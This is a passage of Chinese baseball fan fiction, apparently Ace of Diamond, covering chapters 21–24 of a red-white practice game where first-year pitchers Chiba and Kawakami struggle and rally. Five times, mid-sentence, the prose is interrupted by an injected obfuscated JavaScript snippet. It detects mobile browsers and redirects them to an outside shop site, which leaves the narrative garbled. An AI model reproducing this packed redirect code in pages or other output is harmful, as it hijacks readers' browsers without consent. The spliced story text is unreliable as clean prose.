站得位置靠内,球棒握得很靠下,这是打定主意要轰一发大的。 现在川上的状态还好,体力也足够,这个时候正是该投那颗球的时候啊。 投手丘上的川上看到御幸对他露出一个令人不安的笑容。 所以,现在投这颗球,投到这里。御幸比出了一个之前从未出现的手势。 川上难以置信地看着蹲在本垒处的捕手,迟迟没有投出他想要的那一球。 滑球。 御幸向他要了他从没有在场上投过的滑球,还是在这么危急的情况下。 怎么会是滑球?现在? 川上下意识地想要摇头,可他看到了御幸坚定的眼神——就算你这么坚定地要我投,我也不敢投啊……会被打出去吧。川上这样想着果断地摇头。 御幸却没有换暗号,而是直接叫了暂停,跑上了投手丘。 “为什么……”只是一个球而已,为什么要特意跑过来?而且一定要投吗?我的滑球控球还很不稳啊……无数地话碎碎念念一时让川上脑子有点宕机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014840|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他觉得自己的声音里都开始颤抖了。 川上看着停在自己面前的御幸,甚至能听见自己胸腔里心脏疯狂跳动的声音,震得耳膜嗡嗡的。 御幸面对脸色惨白的投手却很淡定,捕手手套挡住嘴角,他只是抬眼示意他朝着外野的方向看,勾起一抹狡黠又促狭的坏笑,然后对川上说了一句话:“如果是千叶的话,你猜他敢不敢投呢?哦,那家伙已经在外野打呵欠了呢。” 川上猛地一怔,顺着他的目光看向外野,果然看到了千叶百无聊赖地在偷偷打哈欠。 川上:“……” 因为没上场投球就在偷懒吗?这家伙要不要这么轻松啊! 心情复杂又不知道为什么怪憋屈的川上,忽然觉得自己不是很紧张了。 御幸蹲回本垒,而投手丘上的川上,深吸一口气。 “咻——”他把滑球投出来了! “乒——” “界外!” 第一次见川上滑球的增子前辈果然没有掌握好击球时机,但还是大力地将球拉打出去。 川上额头瞬间吓出了冷汗,然而下一秒,他额头上的冷汗冒得更厉害了。 刚刚的球质量不错,被打到只是运气而已啦,你这么害怕,他肯定会觉得你是运气好才投出来的。所以再来一个滑球,让他们脑海中形成印象,投到这里,投成坏球也没关系。 川上看到蹲在本垒处的御幸,手套再次放到好球带的边角,对他露出一个恐怖的笑容。 ‘如果是千叶的话,他一定敢投出来的。’川上又想起了御幸刚刚说的话。 ——这个意思不就是我不如他吗?虽然千叶很厉害,但被你一个捕手这么说,还是会不爽啊,而且这根本就是挑拨我们两个的关系吧,御幸! 川上憋着一口气,尽力把球投出来。 “砰——”他听到球投进手套里的声音。 “打者挥棒,好球——” 他终于顺利地解决了打者。 第五局没有失分。 千叶很惊讶,一三垒有人,又轮到了上一局被轰出全垒打的棒次,川上居然成功地把他投了下去,留下了一三垒的垒包。 “川上,你好厉害。”千叶在回到休息区看到川上时由衷地夸奖道。 川上面对他的夸奖,表情却很不怎么开心,甚至十分复杂,有点像便秘拉不出屎,胡乱点点头“嗯”了一声,就从他旁边离开了。 “欸……这是什么情况?”千叶摸不着头脑,刚刚他救球的时候不是还满怀感动地看着他吗?因为后来他没什么表现所以投手有意见了?拜托,是因为球没有往他这边来好吧,这不能怪他啊。 投手怎么这么麻烦!难道要这回我也要来一发全垒打才能哄好投手吗? 以己度人的千叶,此刻完全没有想到自己也是投手,自觉十分心累地穿好打击装备,拎着球棒就上了场。 “砰——” “好球!” “砰——” “好球!” “砰——” “好球!三振出局!” 被火速三振的千叶:“……” 21.红白赛(4) 千叶若无其事地拿着球棒下场,安详地仿佛什么都没有发生,仿佛他从来没上过场。 “你打击偷懒了吧?”蹲在打击区看到千叶被三振全过程的御幸毫不客气地大声嘲笑。 千叶瞬间就恼羞成怒了:“我可是投手!你怎么能指望投手在打击有什么表现!” “别为自己找借口了,”御幸微笑着挥挥手,“还是实力不够,我会给你报仇的。” 他一边说着一边走上打击区,十分潇洒地挥挥球棒,摆好打击姿势。 “梆——” 呦西,第一球就挥棒击中了球! “一垒正面接杀!出局!” 一垒的助教一边大声喊一边做出出局的手势。 御幸:“……” 御幸仿佛无事发生地走下场,场下的千叶捂着肚子哈哈大笑。 “呦~真是实力足够的人啊!第一棒就接杀出局!太厉害了,太有实力了!”千叶站在休息区最边上,一见御幸走过来就毫不客气地嘲讽。 “啰嗦!吵死了!”御幸把他推到里面去。 站在打击准备区目睹一切的川上:“……” 川上头也不回地走上打击区。 “下一个打击的是川上啊。”千叶回头看到站在打击区上举起球棒的川上,语气幽幽地道。 “喂,这是什么语气。”仓持勒住他的脖子,“瞧不起谁呢,刚刚被三振的人怎么还敢张嘴!” “我可什么都没说啊,”千叶无所谓道,“不过,川上很明显就是投手啊,他肯定都没练过打击吧。” “梆——” “欸!川上击中球了!球穿出去了!” 千叶推开仓持,手扶住休息区的栏杆朝场上看去,对面的二垒手前辈没有接到球,球在二游间落地又想往外野滚去,但二垒身后那个长得很帅的游击手前辈成功抓住了想要逃跑的球,想要传到一垒,但此时没有贪心的川上已经在一垒停住了——表情连自己都很震惊加后怕。 “川上!川上,上垒了!” “不是打出去了嘛,他怎么自己都那么惊讶!” 伴随着身边同伴惊喜的大叫和川上自己都一副不可思议的表情,千叶无比震惊:“……不是吧!” “噗!”御幸忍不住喷笑出声。 “哈!让你嚣张!”仓持叉腰大笑道。 可能因为投手都有所作为,将球打出去了,一年级的打线终于支愣起来,重新轮到上位打线,一棒二棒也将球击了出去,将垒包塞到了满垒。 只是…… “一垒接杀,出局!” 得分的大好局势,一年级们没有把握住,川上重新站在投手丘上。 “梆——” “梆——” 场上川上的球开始频繁被击中,内外野接球配合失误、漏球,没有听捕手指挥导致传球错误……配合不够默契的一年级问题似乎一下爆发了,看台上的ob们频繁叹气。 “投手投球开始不稳了。” “场上的守备也出现低级失误了,果然是因为上局没有得分打击到气势了吧。” “还是一年级,心态果然不行啊,失了三分才解决掉一个打者。” “也不全是投手的原因,已经二三年级打者已经轮换一遍了,打看过的球二三年级的老鸟自然得心应手,一年经验的差距啊,不是一年级的菜鸟能比的。” …… 第五局靠御幸配合一三垒抓到双杀结束,比分来到13:1。 如果正式比赛的话,现在已经结束了吧。千叶仰头瞥了眼记分牌。 而且现在继续也没有用,剩下的四局,难道还能指望这群打线都串联不起来的队友逆风翻盘?打满剩下的四局我们就能赢吗?当然不会了,我们可是虾兵蟹将啊,是菜鸟。 他听到一年级中有人在窃窃私语了。 身后传来一阵窸窸窣窣的私语。千叶侧过脸,瞥见几个一年级生耷拉着脑袋,棒球帽檐遮住了大半张脸,连站姿都有股蔫蔫的丧气。 这可不是什么好兆头。千叶撇了撇嘴。虽然他心里经常说风凉话,但大家如果都没信心的话就是另一回事了。如果身后的守备不想比赛继续的话,单凭投手自己是无法守住分差的。 而且……我该上场了吧。 千叶看向场上,果然不出他所料,片冈监督抬手示意,目光扫过替补席,声音不带一丝波澜地宣布:“换人。二三年级投手捕手到野手,全部轮换,比赛继续。 一年级,投手,千叶,捕手,小野。川上和御幸下去休息,野手想上场的自行组队。” “是!”所有人齐声回答。 千叶低头看了看自己的手掌,刚刚握着球棒打击,现在要握着棒球投球了。 不想分差继续变大了。即使是输,13:1也比20:1好看一点吧!别输的太难看!所以现在应该怎么办?说些什么才能让他的守备振作一点? ……啊,不对。 为什么我一个投手,居然还要想办法安慰身后的守备,这合理吗?川上当投手的时候我支援他,怎么现在我当投手了,反倒没有人支援我?为什么不管当野手还是当投手我都这么劳碌命。 千叶简直觉得自己命苦,一边命苦一边刚要迈出一步想要鼓励一下队友。 “哈!终于轮到本大爷登场了!”一道爽朗得近乎嚣张的声音突然从人群后方传到千叶耳朵里。 千叶回头,看到仓持扛着球棒大步流星地走出来,站到了他的身边。 仓持咧嘴大笑,眼角眉梢藏不住的兴奋,胳膊搂过千叶的肩膀:“等这么长时间我骨头都快生锈了!” 白州拍了拍身边川上的后背。川上刚才下场还低着头,被他一拍,人有点愣住地抬头看向他。白州眼底满是温和的鼓励,他对着川上笑了笑,转身走出人群,声音平静而有力:“我守右外野。” 小野快步走到千叶身边,郑重道:“千叶同学,你会投什么球?无论什么球我都会努力接住的!” 千叶怔怔地看着眼前的几人,又转头看向自己身后——刚才还死气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021585|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉沉的队友们,此刻正陆陆续续地走出队伍,看着他的目光满是坚定。 千叶忽然觉得刚刚队友们气压低没干劲都是自己的错觉,喃喃道:“你们倒是挺活跃嘛……” 前园拍了一下千叶的肩膀:“无论分差有多大,比赛没有结束就有翻盘的可能,后背就放心交给我们吧。” “是!”千叶有点感动地大声道。 正在他感动时,终于脱完捕手护具的御幸走过来,在他耳边偷偷笑道:“上了投手丘就不准再打哈欠了哦。” 感动一瞬间消失不见的千叶:“……” 打哈欠被发现了吗?他明明已经很偷偷摸摸了! …… 千叶踏上投手丘,感受到脚下的泥土松软。 今天的风很小,阳光明媚,是他最喜欢、觉得最舒服的天气。不是很冷也不是很热。 状态如何?守外野守了几局,刚刚也热身过,胳膊状态还算不错。虽然体力不太充沛,但就剩下几局了,球投下来没有压力。 啊,真是可惜,小野长得不是很帅啊,现在如果是个帅捕手给我接捕该多好啊!即使不是克里斯前辈,那御幸也行啊!呃,还是不了,小野虽然没有御幸长得好看,但人也没有御幸那么可恶,有得必有失,千叶一郎,你现在当了投手也不能太过挑挑拣拣,要记住你还是个见习投手啊,不是正式的…… 千叶仰头看着天空,忽然听到几声砸手套的声音。 千叶把头正回来,向本垒处看去,小胡子前辈已经走到打击区,正十分礼貌地跟监督打了招呼,然后跟捕手点点头,最后,他用球棒指着投球丘上的他大喊道:“小子!来吧!” 小野信任的目光正坚定地看着他,然后给他摆了一个外角直球。 不知道打者底细的时候外角直球确实是很好的试探打者的选择,但现在的打者是对方的四棒,大嗓门的黄毛小胡子前辈,对他来说并不是不熟悉的打者,他已经看过他好几个打席了。 千叶用镁粉包沾沾手指,在手套后将球慢慢转到四缝线的位置。 他不太想投外角直球,眼前这个前辈是第一球会出手,而且很擅长打直球,投外角直球的话很容易被他猜到,然后打出去。 但第一球就对小野摇头吗?……小野看起来不是很像那种心坚如铁的捕手啊,第一球就对他摇头,他的心态不会比他这个投手更快出毛病吧? 算了。千叶淡然地举起投球的手,胳膊向后。 虽然小胡子前辈是挥大棒的,但最差的结果大不了就是放他上垒嘛—— “忽——”球脱手而出。 “梆——!”球棒击中球的声音前所未有的响。 小野瞬间睁大双眼向远方看去——白色的小球下方,跟着右外野的白州和中外野的队友,他们一路狂奔,最后停在了那一堵墙的前面。 小胡子飞速向一垒冲去,又在途中放缓了脚步,一边大笑一边高举右手开始绕垒。 投手丘上的千叶正平静地看着那颗球越过了本垒墙,飞了出去。 22.红白赛(5) 本垒打。 千叶第一颗球就被轰出了本垒打,这是是谁都没有想到的事情。 小野立刻叫了暂停,朝着投手丘上的投手跑过来。 他一上来就道歉:“对不起,是我配球的问题……” 千叶手搭在眉毛上挡住阳光,眼睛向围栏网外眺望,语气是前所未有的淡定和疑惑:“本垒打是这么容易就能轰出来的吗?” “欸……”小野不知道千叶想说什么,局促地现在原地。 千叶继续望着围栏网外的空地继续自言自语:“刚才那一球不全是你的问题,刚刚我投球的时候确实没专心,但没想到这么容易就被打出去了。” 千叶转过头,小野意外地发现他脸上的表情居然很轻松,明明第一球就被轰出去,还这么淡定吗? “千叶,我不会再让你的球被轰出去的。”小野坚定道。 但那像刚刚那种配球可不行。千叶心想。 “好,我相信你。”千叶对小野点头道。 刚刚的话并不全是安慰小野。千叶很明白,他那一球投得并不是很甜,也预感到了这一球很可能被打出去,但被直接轰了出去…… 果然是我太自大太小看人了吧,什么自己的球肯定不会被打出本垒打……太托大了!毕竟是打线出名的棒球豪门,即使青道几年没打进甲子园,也不是一个刚上高中的菜鸟投手能够小看的。 千叶深吸一口气,看了眼已经上场的下一棒。 其实他的心里并非像表面表现的这么平静,但他并不会让不好的心态影响到下一次投球。 在他刚学会投球那段时间,跟他练习的打者可是他老爸,有段时间几乎他投出的每一颗球都会被轰出去,再怎么心态不好的选手被打出去的次数多了,也会变得坚强起来吧,而且如果他想退缩还会被老爸嘲笑。 啊,所以现在被打出去什么的…… 千叶这么一想,表示刚刚被轰出的本垒打都是毛毛雨。 五棒打者由增子前辈换成了之前没有上场的三年级的前辈。 或许是因为上一棒打得太轻松,千叶明显感觉到自己被这个前辈小看了。 从他松弛的站姿,到他的神态。千叶看这位前辈十分不顺眼—— 虽然我会暗戳戳看不上打者,但打者如果瞧不起我,那我就要生气了——大概就是这个意思。 于是觉得自己被小看了的千叶憋着一口气,看向小野的手套。 虽然你的球刚刚被打了出去,但发挥正常的话,应该不会那么容易被对方打线击中——小野谨慎地在大腿间摆出了暗号。 很好,外角直球,正面刚这个前辈,小野你很上道,我开始喜欢你了。 对小野表示满意的千叶缓缓举起左手,随后,他的左臂像鞭子一样抡出去。 “砰——” “好球!” “砰——” “好球!” “砰——” “好球!三振出局!” 小野额角冒出冷汗,心有余悸地看着自己手套里接住的球。 三颗直球。 他与千叶在上场前练习过,千叶控球没有很精准的球种例如滑球和变速球,其实他并没有能百分百接到的自信。基于对千叶直球准度的信任,加上这是千叶第一局上场,打席没有见过他的球,所以他才冒险给出了直球的暗号,想要凭借千叶的球速压制打者。 但千叶的这三颗球的犀利程度跟刚刚接捕的那些完全不是一个档次,即使是自己将手套放好了位置、千叶的控球也相当精准地投到了他想要的位置,沉重的球威还是给他一种球要飘出手套的错觉。 果然因为刚刚本垒打惹他生气了吧。球速也上来了,亏得他还能投得那么准啊。小野心想。 投手丘上的投手缓缓收起投球的姿势。 千叶抬起下巴,看着拿着球棒面无表情走下场的前辈,心里想着:叫你瞧不起我。 被他一直盯着的前辈依旧面无表情,一头雾水地歪了歪头。 千叶:“……” 啊,这个前辈不是瞧不起我,他好像就是个没什么表情的人…… 闹出乌龙的千叶表示没什么。 被误会是人生常有的事,误会别人比自己被误会要舒服多了。 “一出局!”千叶在投手丘上淡定地举起一根手指。 “做得好千叶!” “一出局!” 他听到同伴在大声回应他。 “刚被轰出本垒打就能投出更犀利的球,顺利解决掉下一个打者,还记得出声鼓励自己的队友,真是青道难得的大心脏投手。”看台上见到这一幕的ob忍不住跟另一个ob赞叹道。 另一个ob也点头回应:“千叶一郎,是叫这个名字吧?国中倒是不怎么出名,从来没听说过他。球速快,控球也准,投球挺厉害。” “你们结论下得也太早了,这才几个球,哪能看出厉害不厉害……”旁边的ob摇摇头。 下一个上场打击的前辈已经在打击区站定,做好了打击准备。 现在是一出局,无人上垒。打者看身材并不是力量型的打者。 小野再次比出暗号,还是外角直球。 千叶一挑眉。捕手对我很有信心嘛。 场下的御幸看到小野的配球也会心一笑。小野倒是很会哄千叶那家伙开心,这样瞧不起打者一般目中无人的配球他最喜欢了。 对小野配球相当满意的千叶利落地将球投了出去。 “咻——” “乒— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17030376|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —”又是第一棒就出棒,很明显打者抓住打击的时机,但在击中球的一瞬间,打者明显变了脸色,手上赶紧使力勉强将球拉出去。 “界外!” 千叶有点不爽。一共上来三个前辈,两个都能打中他的球,他都有点怀疑自己的球是不是真的那么好打。 但均速145km/h+的球,怎么也算不上好打的程度吧,是配球被猜到了吗? 千叶看了眼打击区的前辈,他的表情不怎么紧张,但很已经开始严肃了,握着球棒的手也朝下挪了挪。 所以现在还要配直球吗?小野额头冒出冷汗,他瞥了一眼旁边的前辈,最后给千叶摆出了二缝线的暗号。 二缝线?千叶皱眉,他觉得他又不怎么喜欢小野了。 因为我刚刚的四缝线直球被击中了就不配四缝线了吗?你们捕手的信任还真脆弱啊。你觉得我的四缝线还解决不了这个前辈吗? 但千叶还是忍住了对小野摇头的冲动。 虽然现在把二缝线拿出来有点早,但小野的配球也没什么问题,反正这回打者肯定猜不到我会投什么球,不会被打出去。如果不投显得很不配合捕手,会让小野很难办,不好。 将脑海中的不情愿赶出去,千叶举起左臂,集中注意力将球投出去—— 打者第一次看到他的二缝线球,与四缝线同样的出球点,果然骗得他挥棒了。 打者对球在本垒前忽然向他胸口滑来的轨迹变化毫无准备,球棒直直地从拐弯的球的上方挥过,毫不意外地直接挥空。 “砰——” 小野忍住了将手套向外侧移动的冲动,球顺利地钻进捕手手套。 “好球!” 接到球的小野松了一口气。千叶二缝线的控球比四缝线差一点,他一直担心千叶失投自己会接不到,现在球稳稳落进手套,他才把心放回肚子里。 现在是两好球,无坏球。 小野比出暗号:接下来这一球还是投二缝线,直接解决他。 打定主意相信捕手的配球,千叶就不会容许自己在把精力用在挑毛病上,投球已经很累了,再去跟捕手抢配球任务那得死多少脑细胞啊—— “咻——” 打者出棒时意识到了这颗球会拐弯,但已经太迟了,白球已经到了他的眼前,他只能咬牙,想将球扫了出去。 ‘不好。’在球棒与球接触的那一瞬间,打者突然意识到了不对。 “梆——” 白色的小球没飞多远就“啪”的一声落地,砸起泥巴,直接投手前两三步远的地方停住。 千叶轻松向前几步,捡起球传给一垒的前园。 “Out !” “二出局!”千叶站在投手丘上竖起食指和小指两根手指。 23.红白赛(6) 休息区,没有上场的队友正在观战。 肩膀搭上冰袋的川上此刻也没有坐在休息区的长椅上,而是走到球场边缘,侧头忍不住问御幸,“第一颗还不怎么明显,但第二颗……伸卡球吗?” 御幸解释:“不,两颗都是二缝线直球,第二颗的球路变化得更明显。从休息区看不全,千叶的二缝线直球会向右打者外角平移,但并不会像伸卡球那样在击球区有明显下坠。 打击的前辈应该是猜到了小野最后一球还会配二缝线直球,但是没想到千叶那颗球偏转的角度还能更大,所以没咬中球心。” “千叶一直在学滑球吧?他应该学伸卡球的,”川上有些羡慕地看着场上淡定地竖起两根手指表示二出局的千叶,“普通二缝线直球都能投出这样的轨迹,学伸卡球会更难对付吧。” “你也有你的优点,低肩侧投很少见,球路与上肩投手不一样,偶尔遇到一个,打者会很难适应,而且你控球总体上要比千叶好上一点,他只有四缝线直球投得准。”看出川上的羡慕,御幸插腰看着场上笑着安慰他。 “……”川上斜着眼看了御幸一眼,没说话。 “怎么了,我说得不对吗?”御幸有点纳闷,自从上局比赛结束他跟川上被换下场之后,川上就不怎么爱跟他讲话了,虽然川上本来也没有跟健谈……但他不是傻子,投手有意不想搭理他他还是察觉得出来的。 你场上说我不如千叶的话我可还记得呢。川上想。 “没什么。”川上扭过头。 啊,不会是还因为我在场上拿千叶激将他生气吧。御幸挠了挠头。 投手这种生物真是每个都既麻烦又任性,即使是看上去很老实的川上都这样啊……一句话没说对就会生气。幸好在场上的时候没出什么状况。看来以后说话要小心一点了。 不过…… “川上你很在意千叶啊,有压力了吗?”御幸坏笑道。 场上。 二出局之后千叶找到了手感,凭借直球飞速三振掉上场的七棒,结束了第六局比赛。 下场的千叶跟队友们挨个击掌,走到御幸和川上面前。 御幸伸出手也跟千叶拍了一下,笑道:“做得好。” “谢谢,如果没有那一发本垒打就更好了。”千叶表情很淡定,随后看向了离御幸不远的川上。 千叶跟川上对视几秒。 川上看他的眼神没上场前那么复杂,但不知为什么诡异地变得特别坚定,千叶觉得毛毛的,忍不住摸摸自己的脸。 虽然他不想往一些奇怪的方向想,但这种眼神着实叫人怪不自在,叫他想起了某些把捕手看成老婆的投手。 我们一样都是投手啊,川上,我不是捕手啊!千叶心中呐喊。 迟疑片刻,千叶决定让川上清醒一点,于是他沉痛道:“我们两个是没有结果的,川上。” “噗!哈哈哈哈哈!”御幸忍不住捂着肚子笑到蹲在地上。 川上脸瞬间红成汽锅:“……千叶你在说什么鬼话!” 好在千叶声音不大,周围只有他们三个听到了,如果还有第四个人听到川上觉得自己就要原地去世了,实际上他现在也不想在这儿呆了,把手里的水塞给千叶,川上扭头就离开了这片尴尬之地。 一时间周围只有还笑得抹眼泪的御幸和被川上塞了水的千叶。 场上的队友已经开始打击了,打击准备区站定的是七棒白州。 “啊,白州第一轮打线好像被我换下来了,所以现在才上场。”千叶忽然想起来。 “是你在场边表现得太狂妄了所以被监督提上场吧,在围栏边打呵欠什么的。让白州一直等到你上场投球才能打击。”御幸不走心地随口调侃道。 正在千叶不满想要说话时,仓持换好打击装备走过来,顺便踢了一下靠着围栏、准备看白州打击的千叶的屁股:“赶紧去穿打击装备,你马上就要上场打击了。” “我哪有!”千叶先反驳了御幸,然后扭头瞪仓持,“还有,别踢我屁股!” 仓持嗤笑一声,不客气地又踢了他一脚。 千叶非常生气地挪了位置,去换打击装备。 等千叶换好装备,上场的白州已经十分稳健地将球击了出去,跑到了一垒。 完全没有看到白州击球的千叶非常不甘地蹲到了打击准备区。 小野选择牺牲触击,将白州推到二垒。 接下来轮到了九棒千叶。 螃蟹步离垒的白州正在看着他。 千叶看向白州,又瞥了一眼本垒后面严肃的片冈监督,不知怎么的他忽然有点心虚。 不会真是我表现得太懒散,所以让白州第一轮没了上场机会了吧?不会吧? 他视线里,一直慢动作的投手忽然挥出了手臂,一瞬间,球到了眼前。 啊,糟糕!投手投球了。千叶神色一紧。 “嘭——” “好球!”片冈监督道。 千叶缓缓收回了球棒。 刚刚走神了,挥棒时机慢了好几拍。啊……打击的时候果然不能胡思乱想。所以是风水轮流转吗?川上上场前我吓了川上,所以现在我也被御幸搞心态了? 都怪御幸。比赛完一定要找他算账! 千叶打起精神,握紧球棒。 “咻——”第二球。 “乒——” “界外!” 两好球了。千叶有点不爽。 这次挥棒又早了点,球路呢?好像没注意到,下意识就挥棒了。怎么回事?这局怎么这么没有手感。 算了,现在应该想下一球了。 最后一次机会,投手会投什么球?捕手会配什么球?第一轮时把球打出去应该会给捕手一点印象,大概会打起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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千叶又有点生气了。 怎么一个两个都觉得能随随便便就把我的球打出去,短打也不行! “嘭——” “好球!” 千叶高举左臂,正要投球的那一瞬间,二棒前辈握球棒的姿势由短打变成了长打。 不好!千叶咬牙,在投出球的那一刻扭动手腕改变了控球方向。 “梆——” 球被击中了。 24.红白赛(7) 分外湛蓝的天空下,微风轻轻拂过钻石球场。 左外野高飞球,守备位置站得很好,靠近内野,那颗球因为他临时改变投球方向,打者没有击到甜点,左外野向前几步,顺利接到了球。 一二垒上的跑者没敢进垒,跑回了垒包。 幸好啊,在投球前勉强改了投球的位置,虽然这样完全没有控球,轨迹难看的要死,但好在没被结实打中。 千叶心里松了一口气。 这样就是二出局了,还剩一个需要解决的打者。 小野心情有些沉重地目送刚刚被千叶投下去的二棒前辈走下场,看到他跟排在他后一棒的打者耳语了几句,然后站上左打击区的三棒前辈与他对视了。 三棒前辈看他的眼神很平淡,平淡到小野觉得自己仿佛没有蹲在他的旁边,仿佛自己所有的想法在他都面前无所遁形。 小野额头冒出冷汗,转头看向投手丘上的千叶。千叶的表情也很淡定,他正淡定地看着打者。 千叶专心地对付打者的神态让小野的沉重内心获得了些许平静。 站在投手丘上的千叶却并不像看起来那么沉静,实际上,此刻他的心情一点也不愉快。 新上来的三棒打者千叶认识,他是前园寝室的三年级前辈,叫上林山诚。虽然名字很像动漫男主角,但长得却跟那完全没关系,每次出门千叶都会被这个不苟言笑的前辈丑得吓一跳。 此时上林前辈站在他面前,神色十分淡然地举起了球棒。 ‘球速站在打击区看要比在休息区看到的快,球威也比想象的重很多,一般的挥棒打不远。不过跟你说的一样,第一颗球捕手会配能投到好球区的偏低的直球。’——这是二棒在下场时对他说的话。 上林闻言点了点头,在左侧打击区站定后,看向站在投手丘上的后辈。 千叶一看场上的这个前辈,心情就低落。 他并不知道上林前辈打击厉不厉害,但他的长相确实很像打击厉害的人的样子,并且深深地伤害到了他。 说实话,其实前园他们一整个寝室的长相都很伤害他。前园很难看,二年级卷毛狐狸眼的桑田前辈很难看,面前的上林前辈更是跟东前辈难看的程度不分上下。 啊,如果上林前辈打击也像东前辈一样厉害就好了,这样的长相在身后守备就看不到了,实力还令人安心。 千叶想着,与打击区的上林前辈对视。 不行,多看一眼都觉得受伤。 千叶闭了闭眼睛,又睁开。 如果上林前辈打击不像东前辈那么厉害,那就留在二军吧,我是要上一军的人,才不要跟难看又实力差的前辈当队友,即使在身后看不到也不行。 千叶举起投球的手,狠狠掷出手中的白球。 本垒板处的小野张开手套。 很好,千叶手臂完全打开了,球速很快,这颗球—— “梆——” 上林出棒击中了球。 啊,但是好像上林前辈本来是在一军来着……是犯了什么错误被监督贬到二军了吗? 那一瞬间,千叶看着维持着打击姿势将球击出去的上林山诚,忽然想到这件事。 那一刻,面前本垒板处的小野掀开面罩望着天空,表情十分难看。 千叶看到了那白球向着右外野的晴空飞去,却完全不想转头看它会落在哪里。 猜也是,那么响的一声被击出去,球肯定飞得很远吧。不过小野长得真的很一般啊,这样的表情出现在他脸上显得人更不好看了。 你又在评头论足别人的长相了千叶一郎。无论是小野,还是上林前辈。 刚刚才被小胡子前辈击出本垒打,这么快就忘了吗?哪来的自信瞧不起打者?前辈们比你这个菜鸟多了至少一年的经验,面前的打者还是从一军下来的上林前辈,长得不好看打击肯定很厉害啊——你不是一直这样想的吗?什么打击实力是拿颜值献祭给魔法猫咪换来的…… “白州!” 忽然面前小野绝望的表情忽然变成了狂喜,他听到了小野和身后的内野都在惊喜地大声喊着白州的名字。 时间重新开始流动,投手丘上的千叶猛地回头,在及其靠近右外野本垒墙的那边,他看到了白州举着手套,从地上爬了起来。 虽然离得很远,但他还是看到了,他那双闪烁着光芒的、不算大的眼睛,正在特别帅气特别坚定地看着他。 “白州……” 他接到了那颗球。 这一局结束,攻防转换。 …… 在他接到了川上被打出去的那颗球的时候他其实没有很多想法。 ——好吧,他承认其实那个时候脑子里想法一点也不少,但归结到一点,就是他很清晰地记着“作为守备要支援投手”。 他在接到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040742|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球之后,好像没有很在意被他“拯救”的川上,比起川上心里想什么,他还是更为自己没有让那颗球落地而开心。 虽然打击好长时间没练退步不少,但我的防守技术还是一如既往地不错嘛!——大概就是这样的心情。 但他这个时候作为投手,却被白州拯救了。 “千叶,投得好。”白州下场地时候又拍了他的肩膀,跟他没把球打出去时告诉他不是他的错时,拍的是一个位置。 白州说完就从愣住的千叶身旁经过,继续走向休息区。 “白州,”千叶叫住了他,而白州闻言也回头与他对视。 千叶张了张嘴,他不知道这个时候应该说些什么,他没有这样的经验。 “谢谢你。”最后他只是这么说。 “这是应该的,守备就是应该在投手身后身后支援投手。”白州回头,像自己只是随口说出一句理所当然的话,然后转身跟其他人击掌。 千叶一点也没想到他居然也有被野手“拯救”的一天。 他是在上了初中以后才作为投手上场比赛的。 他美国国中那个财大气粗的少棒队里面,居然没有一个长得好看的队友。只有捕手长得还行,不过也不是能打八分以上的帅哥。所以他在里面没有朋友。 那个队伍里有不少投手,加上那一年他发育得很快,进行剧烈的重复性专项动作有生长板损伤的风险,所以在一年级的时候,他几乎没有作为投手上场比赛过,连投球练习都很克制。 二年级时他成了投球丘的主力,在他那个年级段的比赛里,他几乎是无敌的,能把他的球打出去的打者屈指可数,他不需要野手拯救,他们也从来没有救过他。 到了三年级,按理说他有资格参加下一年龄段的比赛了,但他转学到了日本,学校球队难以融入,他也没上过场。哦,上过一次,投了几局,但那次也没有人把他的球打出去。 所以说,现在的他应该是怎样心情呢? ——上了高中大家都是吃了什么吗?比如大力水手菠菜什么的。就算有几年经验差,我的球被这么频繁地打出去也不太科学吧! 